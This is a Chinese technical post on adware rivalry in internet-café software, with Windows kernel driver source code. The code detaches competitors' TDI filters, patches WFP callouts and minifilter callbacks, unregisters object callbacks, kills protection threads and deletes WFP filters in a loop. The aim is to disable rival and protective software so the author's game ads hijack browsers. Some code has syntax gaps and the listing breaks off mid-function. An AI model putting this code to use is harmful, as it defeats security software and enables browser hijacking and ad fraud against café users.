网吧业务安全对抗(有源码)

网吧业务竞争激烈,网吧都会有以下系统软件。

无盘:

无盘是指没有硬盘。好处是统一维护管理和节约成本。本人研究无盘好几年,后面会专门发帖介绍。

计费:

是指收费系统。

营销软件:

包括销售饮品、‌零食和向客户发送电子邮件营销和短信营销等。产品如网吧营销大师。

监管:

监管网吧黄赌毒的软件。

主动防御系统:

绝大多数网吧不装杀毒软件,因为有很多网络游戏都会被杀毒软件误报为病毒而被删除,

比如梦幻、大话、神泣等。而且网吧大多数单机游戏都是破解版,这些单机游戏十之八九也会被误报为病毒。

再有,网吧都是无盘系统,重启后安装的软件都会还原。

所以有了网吧的主动防御软件,相当于网吧的360卫士。

主要功能包括:网络拦截、进\线程、模块、文件、注册表、窗口拦截等。靠网络下发规则来执行拦截,如下图。

网吧增值业务:

已经形成了一个产业,包括下面几项。

1.chuangqi业务:

此业务竞争最激烈,每年billion的收益。因为chuanqi游戏一直很火,而且私服很多。

 

 

 

后面专门介绍如何对抗。

2.禁止添加桌面图标:

  方法是,若我们驱动先启动: 使用minifilter拦截.lnk文件的创建

  后启动: 拦截+删除白名单(自己的图标)以外的桌标。

  所有的进程全部过滤。

3.登陆器封禁

  有了抢浏览器,为啥还要有登陆器封禁。因为会从别的地方下载了sifu登陆器。这样可以forbid了竞品,弹出我们的登陆器。

  

4.渠道号:

  替换软件安装包的渠道号,以拿到推广money。例如替换某游戏平台替换xxxxxx.db,就更改了渠道号。

 

5.浏览器锁主页:

  驱动在进程回调中修改命令行参数。不懂的,可以见看雪文章 [原创]驱动锁主页方法一修改命令行参数-编程技术-看雪-安全社区|安全招聘|kanxue.com

下面介绍chuangqi业务:

因为用户玩传奇是从网站上下载,所以第三方软件会弹出广告令其下载。弹广告是由C端的程序控制,会抢占浏览器。

占浏览器无外乎是两种方法: 一个是网络过滤驱动(如WFP),一个是Hook浏览器。

除了抢浏览器手段一外,还会主动出击,攻破网吧的其它增值软件,不让其弹传奇Ads。

为了让我们的页面弹出来,竞品的业务不弹。我先采用的是Attack方法,先发制人。

安全是围绕攻防展开的。攻防是对立统一的。对立好理解,统一是: 防得好要先学攻,攻得好要理解防御。

攻击一点发力击破,难的是寻找突破点。防御是以一敌十,但需要考虑很全面。

所以安全很有研究价值的。

本文先聊下如何对付抢占浏览器,然后说下怎么防御对方攻击。

先介绍下TDI、WFP。

1.TDI:

TDI,Transport Driver Interface,传输驱动程序接口。TDI是早期的模型,虽说微软不推荐,但使用起来不影响。

TDI的引出是Microsoft在网络API程序和协议驱动之间又增加了一层即TDI。

什么要增加一层,因为微软希望通过分层后,工程师各司其职、分别开发。

TDI是微软提供的内核网络驱动模型中的编程接口规范,而不是部件,和NDIS一样。像AFD、TCPIP、NDIS驱动则是一个实现具体功能的部件,如下图:

 

上图来自看雪一半人生的文章。


下面介绍下Ring3到Ring0的网络分层结构:

ws2_32.dll提供了基本的socket相关函数(例如socket,bind,listen等)。

Windows在用户层提供了一种过滤网络数据包的HOOK方案,这个就是Layered service provider(也就是我们通常说的LSP),通过这种技术我们对网络包进行HOOK了,国内很多大厂用的都是这种技术。

Socket是一种统一的规范,无论是Windows还是Linux他们对外提供的接口都是一样的。在Windows下面Socket被转换成为设备的IO操作,并且提供了一个AFD.SYS(Ancillary Function Driver for WinSock)的驱动模块来辅助。

tcpip是一个网络协议驱动程序,对底层他提供了一个NIDS协议驱动,对上层他提供了应对TCP,UDP,RAWIP等不同协议的设备对象。

nicxxx是网卡驱动。

2.WFP:

WFP是windows推出来的新一代对网络数据进行操作的框架,用于取代TDI框架。WFP很灵活,就是框架有些重。用TDI实现网络功能也是完全可行的。

WFP的架构图如下:

 

WFP最重要的是下面几个组件:

过滤器(Filter):当满足一组条件的时候,执行指定的动作。多个滤器之间,有位置和权重之分。

Callout:是一组函数。数据流经过时,过滤器调用callout,执行callout中自定义的操作,然后标记放行还是阻断。

Layer:表示网络流量处理中调用过滤器引擎的特定点。(不同的Layer,有不同的标识。)

Sub-layer:layer的子组件。一个layer中可以创建不同的sub-layer,有权重之分。

当然还有Provider。它只用于管理, 不参与网络数据的过滤。

WFP有个弱点,特别是网吧环境,若关掉了BFE服务,WFP驱动就失效了:

再说下对抗网络过滤驱动:

1、TDI对抗:

TDI驱动的核心就是对于\\Device\\Tcp,\\Device\\Udp二个设备进行过滤,形成设备栈,然后对每个IRP进行处理。

 

然后讲下怎么遍历删除TDI钩子:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

        //获取tdi钩子并移除------------------------------------

    UNICODE_STRING uniNtNameString;

    PDEVICE_OBJECT pTargetDeviceObject = NULL;

    PFILE_OBJECT pTargetFileObject = NULL;

    PDEVICE_OBJECT pTdxXxDevObj = NULL;

    for (int i = 0; i < 2; i++)

    {

        if (i == 0) //TCP

        {

            RtlInitUnicodeString(&uniNtNameString, DD_TCP_DEVICE_NAME);

            pTdxXxDevObj = g_pTdxTcpDevObj;

        }

        else //UDP

        {

            RtlInitUnicodeString(&uniNtNameString, DD_UDP_DEVICE_NAME);

            pTdxXxDevObj = g_pTdxUdpDevObj;

        }

         

        status = IoGetDeviceObjectPointer(IN & uniNtNameString, IN FILE_READ_ATTRIBUTES, OUT & pTargetFileObject, &pTargetDeviceObject);

        if (NT_SUCCESS(status))

        {

            if (pTargetFileObject)

                ObDereferenceObject(pTargetFileObject);

            KdPrint(("%s tdx Attached Driver Name:%wZ,Attached Driver Address:0x%p,Attached DeviceAddress:0x%p\n",

                i == 0 ? "TCP" "UDP",

                &(pTargetDeviceObject->DriverObject->DriverName),

                pTargetDeviceObject->DriverObject,

                pTargetDeviceObject));

            WcharToChar(pTargetDeviceObject->DriverObject->DriverName.Buffer,

                szDriverPath, sizeof(szDriverPath));

            nKillOrSuspendThread = pnKillCallback = 0;

            if (IsBlackDriver((ULONG_PTR)pTargetDeviceObject->DriverObject->DriverStart,

                pTargetDeviceObject->DriverObject->DriverSize, szDriverPath, &nKillOrSuspendThread, &pnKillCallback))

            {

                KdPrint(("Check Tdi callback IsBlackDriver:%s,base:0x%p,size::0x%p\r\n",

                    szDriverPath, (PVOID)ulBase, (PVOID)ulSize));

                if (nKillOrSuspendThread & NormalKill)

                    KillDriverAllThreadByCallBack(pSysModuleList, pNotifyRoutineAddress, szDriverPath);

                if (nKillOrSuspendThread & SpecialKill) //某清x卫士

                    KillDummyDriverAllThreadByCallBack(pSysModuleList, pNotifyRoutineAddress, "pci.sys");

                if (pnKillCallback & KillTdiCallback)

                {

                    if (pTdxXxDevObj && pTdxXxDevObj->AttachedDevice

                        && (pTdxXxDevObj->AttachedDevice == pTargetDeviceObject))

                    {

                        IoDetachDevice(pTdxXxDevObj);

                        KdPrint(("Remove TdiCallback!\r\n"));

                    }

                }

            }

        }

        else

        {

            KdPrint(("%s IoGetDeviceObjectPointer error:0x%x!", i == 0 ? "TCP" "UDP", status));

            pTargetFileObject = NULL;

            pTargetDeviceObject = NULL;

        }

    }

查找有TDI功能且是竞品的驱动,然后IoDetachDevice删除。下面是查找Tcp、Udp的tdi设备:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

VOID GetTdxDeviceObject(PDEVICE_OBJECT* ppTcpDevObj,

    PDEVICE_OBJECT* ppUdpDevObj)

{

    NTSTATUS status;

    UNICODE_STRING tdx_name, tcp_name, udp_name;

    PDRIVER_OBJECT pTdxDriver = NULL;

    PDEVICE_OBJECT pDevObj = NULL;

    PUNICODE_STRING pObjectName = NULL;

    ULONG ulReturLength = 0;

    RtlInitUnicodeString(&tcp_name, L"\\Device\\Tcp");

    RtlInitUnicodeString(&udp_name, L"\\Device\\Udp");

    status = ObReferenceObjectByName(&tdx_name,

        OBJ_CASE_INSENSITIVE,

        NULL,

        0,

        (POBJECT_TYPE)(*IoDriverObjectType),

        KernelMode,

        NULL,

        (PVOID*)&pTdxDriver);

    if (pTdxDriver)

    {

        pDevObj = pTdxDriver->DeviceObject;

        while (pDevObj) // iterate through DEVICE_OBJECT

        // linked list

            status = ObQueryNameString(pDevObj, NULL, 0, &ulReturLength);

            if (status == STATUS_INFO_LENGTH_MISMATCH)

            {

                pObjectName = ExAllocatePoolWithTag(NonPagedPool, ulReturLength, 'hwb');

                if (!pObjectName)

                    return;

                status = ObQueryNameString(pDevObj, (POBJECT_NAME_INFORMATION)pObjectName, ulReturLength, &ulReturLength);

                if (status == STATUS_SUCCESS)

                {

                    if (RtlCompareUnicodeString(&tcp_name, pObjectName, TRUE))

                    {

                        if (!RtlCompareUnicodeString(&udp_name, pObjectName, TRUE))

                        {

                            //ObfReferenceObject(pDevObj);

                            if (ppUdpDevObj)

                                *ppUdpDevObj = pDevObj; // Save pointer to \Device\Udp

                        }

                    }

                    else

                    {

                        //ObfReferenceObject(pDevObj);

                        if (ppTcpDevObj)

                            *ppTcpDevObj = pDevObj; // Save pointer to \Device\Tcp

                    }

                }

                ExFreePoolWithTag(pObjectName, 'hwb');

            }

            pDevObj = pDevObj->NextDevice; // get pointer to next DEVICE_OBJECT

            // in the list

        }

        ObfDereferenceObject(pTdxDriver);

    }

}

总结: 由于TCP\UDP设备是绑定在设备栈上的,所以Detach可以解除绑定,又判断了黑名单,所以驱动功能稳定。

2、WFP对抗:

1). 恢复WFP钩子:

a). 首先是找到gWfpGlobal表,然后遍历。核心代码如下:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

NTSTATUS EnumerateWfpCallbacks()

{

    NTSTATUS status = STATUS_SUCCESS;

     

    ULONG_PTR ulDriverBase= GetMemoryDriverBase("netio.sys");

    ULONG_PTR ulFeGetWfpGlobalPtrAddress=

        GetAddressFromFunction((PVOID)ulDriverBase, "FeGetWfpGlobalPtr");

    KdPrint(("FeGetWfpGlobalPtr地址:0x%p\r\n", ulFeGetWfpGlobalPtrAddress));

    if (ulFeGetWfpGlobalPtrAddress && MmIsAddressValid((PVOID)ulFeGetWfpGlobalPtrAddress))

    {

        //0: kd > uf netio!FeGetWfpGlobalPtr

        //NETIO!FeGetWfpGlobalPtr:

        //fffff807`39b99210 488b0549130500  mov     rax, qword ptr[NETIO!gWfpGlobal(fffff807`39bea560)]

        //fffff807`39b99217 c3              ret

        ULONG_PTR ul_gWfpGlobal = (ULONG_PTR)(*(PULONG)(ulFeGetWfpGlobalPtrAddress + 3)) +

            ulFeGetWfpGlobalPtrAddress + 7; //7为指令长度

        if (ul_gWfpGlobal && MmIsAddressValid((PVOID)ul_gWfpGlobal))

        {

            KdPrint(("gWfpGlobal地址:0x%p\r\n", ul_gWfpGlobal));

            int nEntriesNum = 0, nCalloutStructOffset = 0, nCalloutStructSize = 0;

            int nCount = 0;

            GetWfpCalloutOffset(&nEntriesNum, &nCalloutStructOffset, &nCalloutStructSize);

            //dps poi(poi(netio!gWfpGlobal) + 198h) + 0x50

            for (int i = 0; i < nEntriesNum; i++)

            {

                ULONG_PTR ulClassifyAddress = *(PULONG64)(*(PULONG64)ul_gWfpGlobal +

                    nCalloutStructOffset) + nCalloutStructSize * i + 16;

                KdPrint(("ClassifyAddress地址:0x%p\r\n", *(PULONG_PTR)ulClassifyAddress));

                if (*(PULONG_PTR)ulClassifyAddress)

                    nCount++;

            }

            KdPrint(("总共%d个Callout\r\n", nCount));

        }

        else

            KdPrint(("获得gWfpGlobal地址错误!\r\n"));

    }

    else

        KdPrint(("获得FeGetWfpGlobalPtr地址错误!\r\n"));

    return status;

}

上面GetWfpCalloutOffset函数根据OS版本获得Callouts数量、偏移和大小。方法是分析内核netio!FeInitCalloutTable和netio!InitDefaultCallout得到。代码见附件EnumWFPCallouts,支持win7、win10、win11。

b).删除WFP的Callouts

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

if (ulClassifyAddress && MmIsAddressValid((PVOID)ulClassifyAddress))

{

    ULONG_PTR ulClassifyFunction = *(PULONG_PTR)ulClassifyAddress;

    KdPrint(("ClassifyAddress地址:0x%p\r\n", ulClassifyFunction));

    if (ulClassifyFunction)

        nCount++;

    if (ulClassifyFunction && MmIsAddressValid((PVOID)ulClassifyFunction))

    {

        if (FindModuleByAddress(pSysModuleList, ulClassifyFunction,

            szDriverPath, &ulBase, &ulSize))

        {

            KdPrint(("Driver is:%s\r\n", szDriverPath));

            nKillOrSuspendThread = pnKillCallback = 0;

            //判断是否竞品

            if (IsBlackDriver(ulBase, ulSize, szDriverPath, &nKillOrSuspendThread, &pnKillCallback))

            {

                KdPrint(("Check WFP Callout IsBlackDriver:%s,base:0x%p,size::0x%p\r\n",

                    szDriverPath, (PVOID)ulBase, (PVOID)ulSize));

                //先干掉保护线程

                if (nKillOrSuspendThread & NormalKill)

                    KillDriverAllThreadByCallBack(pSysModuleList, (PVOID)ulClassifyFunction, szDriverPath);

                if (nKillOrSuspendThread & SpecialKill) //某清x卫士

                    KillDummyDriverAllThreadByCallBack(pSysModuleList, (PVOID)ulClassifyFunction, "pci.sys");

                //再Patch竞品钩子

                if (pnKillCallback & KillWFP)

                {

                    //Patch

                    /*0xFFFFF80619911940 48 8B 44 24 38      mov rax, qword ptr[rsp + 0x38]

                      0xFFFFF80619911945 C7 00 02 10 00 00   mov dword ptr[rax], 0x1002

                      0xFFFFF8061991194B C3                   ret*/

                    char szPatchCode[12] = { 0x48,0x8B,0x44,0x24,0x38,0xC7,0x00,0x02,

                        0x10,0x00,0x00,0xC3 };

                    SafeCopyMemory((PVOID)ulClassifyFunction, szPatchCode, 12);

                    KdPrint(("Remove WFPCallout Success\r\n"));

                }

            }

        }

    }

}

前面IsBlackDriver根据竞品内存字符串、设备名、签名、文件内存大小定位。

 

上面定义了个枚举类型,表示特征码的类型。

上文的注释为什么"先干掉保护线程"再"Patch竞品钩子",因为移除钩子,保护线程会将其恢复。

清x卫士的保护线程在pci.sys中。它把保护线程注入shellcode到pci.sys空隙里了。

查找保护线程首先上ARK工具,右键->驱动线程:

 

 

然后挂起上图线程。

有的保护线程并不在自己空间里,这时候就要用到VT CPU虚拟化,Hook保护线程调用的保护API函数,然后打印进\线程ID。

关于VT后面还会提及。

2). 删除WFP的Filter

上文介绍了遍历并移除WFP Callout,下面介绍下另一种对抗方法,Ring3删除Filter:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

// 删除指定的 WFP Filter

DWORD DeleteWFPFilter(const GUID& filterKey) {

    DWORD result = NO_ERROR;

    HANDLE engineHandle = NULL;

    FWPM_FILTER0 filter = { 0 };

    // 打开 WFP Engine

    result = FwpmEngineOpen0(NULL, RPC_C_AUTHN_WINNT, NULL, NULL, &engineHandle);

    if (result != NO_ERROR) {

        std::cerr << "Failed to open WFP engine. Error code: " << result << std::endl;

        return result;

    }

    // 根据 Filter Key 构建 Filter 条件

    filter.filterKey = filterKey;

    // 删除 Filter

    result = FwpmFilterDeleteByKey0(engineHandle, &filter.filterKey);

    if (result != NO_ERROR) {

        std::cerr << "Failed to delete WFP filter. Error code: " << result << std::endl;

    }

    // 关闭 WFP Engine

    FwpmEngineClose0(engineHandle);

    return result;

}

int main() {

    // 要删除的 WFP Filter 的 Key

    //{4C08040E-6D8F-4B09-AADC-BA117A2E0D5B}

    GUID filterKey = { 0x4C08040E, 0x6D8F, 0x4B09, { 0xAA, 0xDC, 0xBA, 0x11, 0x7A, 0x2E, 0x0D, 0x5B } };

    while (true)

    {

        // 删除 WFP Filter

        DWORD result = DeleteWFPFilter(filterKey);

        if (result == NO_ERROR) {

            std::cout << "WFP filter deleted successfully." << std::endl;

        }

        Sleep(3000);

    }

     

    return 0;

}

指定GUID号,即可删除。使用WFPExp.exe查看:

 

再聊下如何对付Hook浏览器。竞品挂钩浏览器注入dll后,会跳转到自己的页面。

对抗思路: 

1.若是进程Hook的,查找注入浏览器的进程,然后挂起或结束。

2.若是驱动注入的,Patch注入线程或恢复回调。

3.UnHook浏览器。

一、 查找注入浏览器的进程

1. 扫描无模块注入的内存:

现在很少用有模块注入了,为了隐蔽。所以都是无模块注入。应用层代码网上有,内核代码注入还可以隐藏dll。

使用Cheate Engine一次只能扫描一个内存:

所以我写了下面这段代码扫描所有内存:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

BOOL SearchMem(const HANDLE& process, BYTE* lpData, int iSize, 

    URL_TYPE enumUrlType, std::unordered_set<std::string>& sDistributeUrls,

    std::unordered_set<std::string>& sJsInjectUrls)

{

    SYSTEM_INFO si;

    GetSystemInfo(&si);

    ULONG_PTR start = (ULONG_PTR)si.lpMinimumApplicationAddress;

    ULONG_PTR end = (ULONG_PTR)si.lpMaximumApplicationAddress;

    MEMORY_BASIC_INFORMATION info;

    SIZE_T bytesRead = 0;

    ULONG_PTR readIndex = start;

    int totalBytesRead = 0;

    BOOL bFind = FALSE;

    int iFlag = 0;

    while (readIndex < end)

    {

        if (VirtualQueryEx(process, (LPCVOID)readIndex, &info, sizeof(info)) == 0) {

            _printf("VirtualQueryEx==0!!!");

            break;

        }

        readIndex = (ULONG_PTR)info.BaseAddress;

        if (info.State != MEM_COMMIT

            || info.Type != MEM_PRIVATE) //扫描的无模块内存

        {

            readIndex += info.RegionSize;

            continue;

        }

        SIZE_T bytesToRead = info.RegionSize;

        char* buffer = new char[bytesToRead];

        if (!buffer)

        {

            _printf("分配内存失败!\r\n");

            return FALSE;

        }

        memset(buffer, 0, bytesToRead);

        bytesRead = 0;

        BOOL bReadSuccess = ReadProcessMemory(process, (LPCVOID)readIndex, buffer, bytesToRead, &bytesRead);

        if (bytesRead && (bytesRead - iSize>0))

        {

            for (int i = 0; i < (bytesRead - iSize); i++)

            {

                if (memcmp(buffer + i, lpData, iSize) == 0)

                {

                    if (enumUrlType == SCAN_MEM)

                    {

                        bFind = TRUE;

                        break;

                    }

                }

            }

        }

         

        if (!bReadSuccess)

        {

            if (bytesRead <= 0)

                bytesRead = info.RegionSize;

        }

        totalBytesRead += bytesRead;

        readIndex += bytesRead;

        delete[] buffer;

    }

    return bFind;

}

上面代码扫描了所有进程,加了 info.Type != MEM_PRIVATE 判断,加快扫描速度。因为无模块内存的属性MEM_PRIVATE。

2、VT查找无模块注入的内存:

大多数注入内存都要调用NtAllocateVirtualMemory、NtWriteVirtualMemory两个API。

下面来自我写的ddimon修改版的代码:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

NTSTATUS DdimonpHandleNtWriteVirtualMemory(

    IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN PVOID Buffer,

    IN SIZE_T NumberOfBytesToWrite, OUT PSIZE_T NumberOfBytesWritten OPTIONAL) 

{

  HYPERPLATFORM_LOG_INFO_SAFE("enter DdimonpHandleNtWriteVirtualMemory!\r\n");

  const auto original = DdimonpFindOrignal(DdimonpHandleNtWriteVirtualMemory);

  if (!original) 

      return STATUS_SUCCESS;

  BOOL bSuccess= original(ProcessHandle, BaseAddress, Buffer, NumberOfBytesToWrite,

                  NumberOfBytesWritten);

  PEPROCESS pSourceEprocess = PsGetCurrentProcess();

  if (!pSourceEprocess) {

    DbgPrint("pSourceEprocess is null!\r\n");

    return bSuccess;

  }

  PETHREAD pSourceEthread = PsGetCurrentThread();

  if (!pSourceEthread) {

    DbgPrint("pSourceEthread is null!\r\n");

    return bSuccess;

  }

  HANDLE hSourcePid = PsGetProcessId(pSourceEprocess);

  HANDLE hSourceTid = PsGetThreadId(pSourceEthread);

  if ((LONG_PTR)ProcessHandle == -1) {

    return bSuccess;

  }

  ULONG_PTR ulPid = HandleToPid(ProcessHandle);

  CHAR szSrcImageFilePath[MAX_PATH] = {0};

  WCHAR wzSrcImageFilePath[MAX_PATH] = {0};

  GetProcessImageFilePathSafeIrql(hSourcePid, wzSrcImageFilePath, MAX_PATH);

  CHAR szDestImageFilePath[MAX_PATH] = {0};

  WCHAR wzDestImageFilePath[MAX_PATH] = {0};

  GetProcessImageFilePathSafeIrql((HANDLE)ulPid, wzDestImageFilePath, MAX_PATH);

  //判断谁注入浏览器用

  if (!_stricmp(szDestImageFilePath, "chrome.exe")) //以及其它浏览器进程exe

  {

    //若注入的不是加了vmp壳的无模块,修改下面的"vmp0"字符串

    int index = binaryStringSearch((char*)"vmp0", FALSE,

                                   (char*)Buffer, (int)NumberOfBytesToWrite);

    if (index != -1) {

      KdPrint(

          ("NtWriteVirtualMemory,vmp0,调用进程Id:%d,线程Id:%d,目标进程id:%d,"

           "源进程名:%s,目的进程名:%s,地址:0x%p,长度:%d\r\n",

           hSourcePid, hSourceTid, ulPid, szSrcImageFilePath,

           szDestImageFilePath, BaseAddress, NumberOfBytesToWrite));

    else {

      KdPrint(

          ("NtWriteVirtualMemory,调用进程Id:%d,线程Id:%d,目标进程id:%d,"

           "源进程名:%s,目的进程名:%s,地址:0x%"

           "p,长度:%d\r\n",

           hSourcePid, hSourceTid, ulPid, szSrcImageFilePath,

           szDestImageFilePath, BaseAddress, NumberOfBytesToWrite));

    }

  }

  return bSuccess;

}

用VT虚拟化技术,Hook了系统所有调用NtWriteVirtualMemory的函数,里面判断了"vmp0"字符串,

因为注入的都是加了壳的代码,大多是vmp壳,不是vmp的替换"vmp0"字符串。代码里有打印

调用进程Id和线程Id,以找到是谁注入的。

二、驱动注入的处理:

驱动注入dll,一般用LoadImageNotify拦截或遍历进程。所以应对方法是去掉LoadImageNotify钩子或挂起遍历进程的驱动线程。

三、UnHook浏览器:

因为Hook浏览器,一般是jmp xxxx,所以检测浏览器内存和文件是否相同。不同的再判断是否为jmp指令,是则从文件中拷贝恢复。

由于字数限制,无法这里展示代码。附件有部分代码,有空我再发一个帖子。


 

然后说下如何防御对方攻击:

广告业务会使用x64的CreateProcessNotify回调使我们页面弹不出来;

LoadImageNotify回调拦截我们软件驱动签名,或Patch我们驱动入口点;

KillObCallback保护自己线程不被打开;

LoadImageNotify会拦截我们软件驱动加载; 

minifilter会拦截我们驱动文件释放;

CreateThreadNotify会拦截我们注入无模块进程;

对抗方法是移除对方回调,CreateProcessNotify回调\LoadImageNotify回调\CreateThreadNotify回调的移除方法略过。

下面给出KillObCallback、minifilter回调移除的代码:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

//获取Ob回调地址并移除

POB_CALLBACK pObCallback = NULL;

PVOID pObHandle[100] = { 0 };

int nObHandleCount = 0;

//获取Ob回调地址并移除

for (int i = 0; i < 2; i++)

{

    LIST_ENTRY CallbackList;

    if (i==0)

        CallbackList = ((POBJECT_TYPE)(*PsProcessType))->CallbackList;

    else

        CallbackList = ((POBJECT_TYPE)(*PsThreadType))->CallbackList;

    // 开始遍历

    pObCallback = (POB_CALLBACK)CallbackList.Flink;

    do

    {

        if (FALSE == MmIsAddressValid(pObCallback))

        {

            break;

        }

        if (NULL != pObCallback->ObHandle)

        {

            // 显示

            KdPrint(("ObCallback = %p | ObHandle = %p | PreCall = %p | PostCall = %p\r\n",

                pObCallback, pObCallback->ObHandle, pObCallback->PreCall, pObCallback->PostCall));

            PVOID pPreOrPostCall = pObCallback->PreCall ? pObCallback->PreCall : pObCallback->PostCall;

            if (pPreOrPostCall && MmIsAddressValid(pPreOrPostCall))

            {

                if (FindModuleByAddress(pSysModuleList, (ULONG_PTR)pPreOrPostCall,

                    szDriverPath, &ulBase, &ulSize))

                {

                    KdPrint(("Driver is:%s\r\n", szDriverPath));

                    nKillOrSuspendThread = pnKillCallback = 0;

                    if (IsBlackDriver(ulBase, ulSize, szDriverPath, &nKillOrSuspendThread, &pnKillCallback))

                    {

                        KdPrint(("Check ObCallback IsBlackDriver:%s,base:0x%p,size::0x%p\r\n",

                            szDriverPath, (PVOID)ulBase, (PVOID)ulSize));

                        if (nKillOrSuspendThread & NormalKill)

                            KillDriverAllThreadByCallBack(pSysModuleList, pPreOrPostCall, szDriverPath);

                        if (nKillOrSuspendThread & SpecialKill) //某清x卫士

                            KillDummyDriverAllThreadByCallBack(pSysModuleList, pPreOrPostCall, "pci.sys");

                        if (nKillOrSuspendThread & AdxxObProtectKill) //某hunter

                            KillAdHunterObProtectThread(ulBase, ulSize);

                        if (MmIsAddressValid(pObCallback->ObHandle))

                        {

                            if (pnKillCallback & KillObCallback)

                            {

                                if (nObHandleCount < sizeof(pObHandle) / sizeof(PVOID))

                                {

                                    pObHandle[nObHandleCount] = pObCallback->ObHandle;

                                    nObHandleCount++;

                                    KdPrint(("Remove ObCallback!\r\n"));

                                }

                            }

                        }

                    }

                }

            }

        }

        // 获取下一链表信息

        pObCallback = (POB_CALLBACK)pObCallback->ListEntry.Flink;

    while (CallbackList.Flink != (PLIST_ENTRY)pObCallback);

}

for (int i=0;i< nObHandleCount;i++)

{

    ObUnRegisterCallbacks(pObHandle[i]);

}

上面代码移除OB进线程保护,OB钩子详细解释去baidu吧:)

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

//minifilter钩子移除

ULONG ulFilterListSize = 0;

PFLT_FILTER* ppFilterList = NULL;

LONG lOperationsOffset = 0;

PFLT_OPERATION_REGISTRATION pFltOperationRegistration = NULL;

lOperationsOffset = GetMinifilterOperationsOffset();

if (0 == lOperationsOffset)

{

    KdPrint(("GetOperationsOffset Error\n"));

    ExFreePool(pSysModuleList);

    return;

}

// 获取 Minifilter 过滤器Filter 的数量

FltEnumerateFilters(NULL, 0, &ulFilterListSize);

ppFilterList = (PFLT_FILTER*)ExAllocatePoolWithTag(NonPagedPool,

    ulFilterListSize * sizeof(PFLT_FILTER), 'hwb');

if (NULL == ppFilterList)

{

    KdPrint(("ExAllocatePoolWithTag Error!\n"));

    ExFreePool(pSysModuleList);

    return;

}

// 获取 Minifilter 中所有过滤器Filter 的信息

status = FltEnumerateFilters(ppFilterList, ulFilterListSize, &ulFilterListSize);

if (!NT_SUCCESS(status))

{

    KdPrint(("FltEnumerateFilters Error![0x%X]\n", status));

    ExFreePool(pSysModuleList);

    ExFreePool(ppFilterList);

    return;

}

// 开始遍历 Minifilter 中各个过滤器Filter 的信息

__try

{

    for (i = 0; i < (int)ulFilterListSize; i++)

    {

        // 获取 PFLT_FILTER 中 Operations 成员地址。dt FltMgr!_FLT_FILTER

        pFltOperationRegistration = (PFLT_OPERATION_REGISTRATION)(*(PVOID *)((PUCHAR)ppFilterList[i] + lOperationsOffset));

        __try

        {

            // 同一过滤器下的回调信息

            //DbgPrint("-------------------------------------------------------------------------------\n");

            while (IRP_MJ_OPERATION_END != pFltOperationRegistration->MajorFunction)

            {

                {

                    PVOID pPreOrPostCall = pFltOperationRegistration->PreOperation 

                        ? (PVOID)pFltOperationRegistration->PreOperation :

                        (PVOID)pFltOperationRegistration->PostOperation;

                    if (pPreOrPostCall && MmIsAddressValid(pPreOrPostCall))

                    {

                        KdPrint(("minifilter函数地址:0x%p\r\n", pPreOrPostCall));

                        if (FindModuleByAddress(pSysModuleList, (ULONG_PTR)pPreOrPostCall,

                            szDriverPath, &ulBase, &ulSize))

                        {

                            KdPrint(("Driver is:%s\r\n", szDriverPath));

                            nKillOrSuspendThread = pnKillCallback = 0;

                            if (IsBlackDriver(ulBase, ulSize, szDriverPath, &nKillOrSuspendThread, &pnKillCallback))

                            {

                                KdPrint(("Check Minifilter IsBlackDriver:%s,base:0x%p,size::0x%p\r\n",

                                    szDriverPath, (PVOID)ulBase, (PVOID)ulSize));

                                if (nKillOrSuspendThread & NormalKill)

                                    KillDriverAllThreadByCallBack(pSysModuleList, pPreOrPostCall, szDriverPath);

                                if (nKillOrSuspendThread & SpecialKill) //某清x卫士

                                    KillDummyDriverAllThreadByCallBack(pSysModuleList, pPreOrPostCall, "pci.sys");

                                if (pnKillCallback & KillMinifilter)

                                {

                                    //此方法摘除钩子后,钩子还可以正常使用,只不过PCHunter显示已经摘除

                                    //pFltOperationRegistration->PreOperation = NULL;

                                    //pFltOperationRegistration->PostOperation = NULL;

                                    //Patch

                                    char szPatchCode[4] = { 0x48,0x31,0xc0,0xc3 }; //xor rax,rax; ret

                                    if (pFltOperationRegistration->PreOperation)

                                        SafeCopyMemory(pFltOperationRegistration->PreOperation, szPatchCode, 4);

                                    if (pFltOperationRegistration->PostOperation)

                                        SafeCopyMemory(pFltOperationRegistration->PostOperation, szPatchCode, 4);

                                    KdPrint(("Remove FileNotify Success\r\n"));

                                }

                            }

                        }

                    }

                }

